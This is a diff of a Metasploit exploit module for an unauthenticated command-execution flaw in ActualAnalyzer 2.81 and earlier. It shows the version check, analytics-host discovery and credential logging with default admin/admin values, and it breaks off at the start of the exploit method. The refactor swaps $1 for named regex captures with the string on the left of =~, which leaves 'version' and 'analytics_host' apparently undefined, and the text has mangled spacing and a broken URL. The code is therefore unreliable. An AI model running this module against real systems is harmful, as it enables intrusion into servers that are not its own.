11##
2- # This module requires Metasploit: http//metasploit.com/download
2+ # This module requires Metasploit: http: //metasploit.com/download
33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
@@ -11,10 +11,11 @@ class Metasploit3 < Msf::Exploit::Remote
1111 include Msf ::Exploit ::Remote ::HttpClient
1212
1313 def initialize ( info = { } )
14- super ( update_info ( info ,
14+ super ( update_info (
15+ info ,
1516 'Name' => "ActualAnalyzer 'ant' Cookie Command Execution" ,
1617 'Description' => %q{
17- This module exploits a command execution vulnerability in
18+ This module exploits a command execution vulnerability in
1819 ActualAnalyzer version 2.81 and prior.
1920
2021 The 'aa.php' file allows unauthenticated users to
@@ -47,13 +48,14 @@ def initialize(info = {})
4748 'Privileged' => false ,
4849 'DisclosureDate' => 'Aug 28 2014' ,
4950 'DefaultTarget' => 0 ) )
50- register_options (
51- [
52- OptString . new ( 'TARGETURI' , [ true , 'The base path to ActualAnalyzer' , '/lite/' ] ) ,
53- OptString . new ( 'USERNAME' , [ false , 'The username for ActualAnalyzer' , 'admin' ] ) ,
54- OptString . new ( 'PASSWORD' , [ false , 'The password for ActualAnalyzer' , 'admin' ] ) ,
55- OptString . new ( 'ANALYZER_HOST' , [ false , 'A hostname or IP monitored by ActualAnalyzer' , '' ] )
56- ] , self . class )
51+
52+ register_options (
53+ [
54+ OptString . new ( 'TARGETURI' , [ true , 'The base path to ActualAnalyzer' , '/lite/' ] ) ,
55+ OptString . new ( 'USERNAME' , [ false , 'The username for ActualAnalyzer' , 'admin' ] ) ,
56+ OptString . new ( 'PASSWORD' , [ false , 'The password for ActualAnalyzer' , 'admin' ] ) ,
57+ OptString . new ( 'ANALYZER_HOST' , [ false , 'A hostname or IP monitored by ActualAnalyzer' , '' ] )
58+ ] , self . class )
5759 end
5860
5961 #
@@ -77,8 +79,7 @@ def check
7779 if !res
7880 vprint_error ( "#{ peer } - Connection failed" )
7981 return Exploit ::CheckCode ::Unknown
80- elsif res . code == 200 && res . body =~ /title="ActualAnalyzer Lite \( free\) ([\d \. ]+)"/
81- version = $1
82+ elsif res . code == 200 && res . body =~ /title="ActualAnalyzer Lite \( free\) (?<version>[\d \. ]+)"/
8283 vprint_status ( "#{ peer } - Found version: #{ version } " )
8384 return Exploit ::CheckCode ::Vulnerable if Gem ::Version . new ( version ) <= Gem ::Version . new ( '2.81' )
8485 return Exploit ::CheckCode ::Detected
@@ -116,13 +117,12 @@ def get_analytics_host_view
116117 )
117118 if !res
118119 vprint_error ( "#{ peer } - Connection failed" )
119- elsif res . body =~ /<option value="?[\d ]+"?[^>]*>Page: https?:\/ \/ ([^\/ ^<]+)/
120- analytics_host = $1
120+ elsif res . body =~ /<option value="?[\d ]+"?[^>]*>Page: https?:\/ \/ (?<analytics_host>[^\/ ^<]+)/
121121 vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
122+ return analytics_host
122123 else
123124 vprint_status ( "#{ peer } - Could not find any hosts on view.php" )
124125 end
125- analytics_host
126126 end
127127
128128 #
@@ -138,13 +138,12 @@ def get_analytics_host_code
138138 )
139139 if !res
140140 vprint_error ( "#{ peer } - Connection failed" )
141- elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ ([^\/ ^']+)/
142- analytics_host = $1
141+ elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ (?<analytics_host>[^\/ ^']+)/
143142 vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
143+ return analytics_host
144144 else
145145 vprint_status ( "#{ peer } - Could not find any hosts on code.php" )
146146 end
147- analytics_host
148147 end
149148
150149 #
@@ -178,8 +177,7 @@ def get_analytics_host_admin
178177 vprint_error ( "#{ peer } - Connection failed" )
179178 elsif res . code == 200 && res . body =~ />Login</
180179 vprint_status ( "#{ peer } - Login failed." )
181- elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ ([^\/ ^']+)/
182- analytics_host = $1
180+ elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ (?<analytics_host>[^\/ ^']+)/
183181 vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
184182 print_good ( "#{ peer } - Login successful! (#{ user } :#{ pass } )" )
185183 service_data = {
@@ -191,7 +189,7 @@ def get_analytics_host_admin
191189 }
192190 credential_data = {
193191 origin_type : :service ,
194- module_fullname : self . fullname ,
192+ module_fullname : fullname ,
195193 private_type : :password ,
196194 private_data : pass ,
197195 username : user
@@ -205,10 +203,10 @@ def get_analytics_host_admin
205203 }
206204 login_data . merge! ( service_data )
207205 create_credential_login ( login_data )
206+ return analytics_host
208207 else
209208 vprint_status ( "#{ peer } - Could not find any hosts on admin.php" )
210209 end
211- analytics_host
212210 end
213211
214212 def exploit
0 commit comments